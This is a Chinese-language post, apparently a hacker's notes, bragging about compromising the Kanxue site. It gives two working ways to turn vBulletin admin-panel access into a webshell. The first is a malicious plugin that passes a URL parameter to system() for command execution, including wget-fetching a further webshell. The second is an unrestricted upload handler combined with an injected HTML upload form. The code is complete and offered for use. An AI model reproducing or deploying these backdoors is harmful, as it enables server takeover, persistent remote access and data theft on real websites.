今天把看雪站搞了,用的vBulletin,国内貌似还没相关后台拿webshell的文章,翻墙出去E文了一把,做个记录。
方法一:首先在“插件和产品”(Plugins and Products)下边选择插件管理(Plugin Manager),然后右边选择添加新插件(Add New Plugin),在“Hook Location”(不知道杂翻译)处选择ajax_complete,Title处随便写,比如JK7OSE,然后关键的地方到了“Plugin PHP Code”(插件PHP代码),输入if(isset($_GET['jkrose'])){echo " "<h1>jkrose</h1><pre>"; system($_GET['jkrose']);exit;}注意,是去掉PHP的标记的,这样就算完成了,利用时只需ajax.php?jkrose=cmd命令,可以wget一个webshell,可以ls -la,cat filename等YY的事。
方法二:前边相同,代码处写一个接收上传的代码:
$target_path = "images/avatars"; //注意权限要为可写的
$target_path = $target_path . basename( $_FILES['uploadedfile']['name']);
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
echo "The file ". basename( $_FILES['uploadedfile']['name']).
" has been uploaded";
} else{
echo "There was an error uploading the file, please try again!";
}
然后访问ajax.php会提示“No input File Specified”之类的,如果没出现的话那肯定时哪有问题了,如果出现了就继续下边的,在网站随便某个地方,只要能写HTML代码就行,写个上传,比如说模板编辑那些地方,写个上传代码:
<form enctype="multipart/form-data" action="ajax.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="100000" />
Choose a file to upload: <input name="uploadedfile" type="file" /><br />
<input type="hidden" name="s" value="$session[sessionhash]" />
<input type="hidden" name="securitytoken" value="$bbuserinfo[securitytoken]" />
<input type="submit" value="Upload File" />
</form>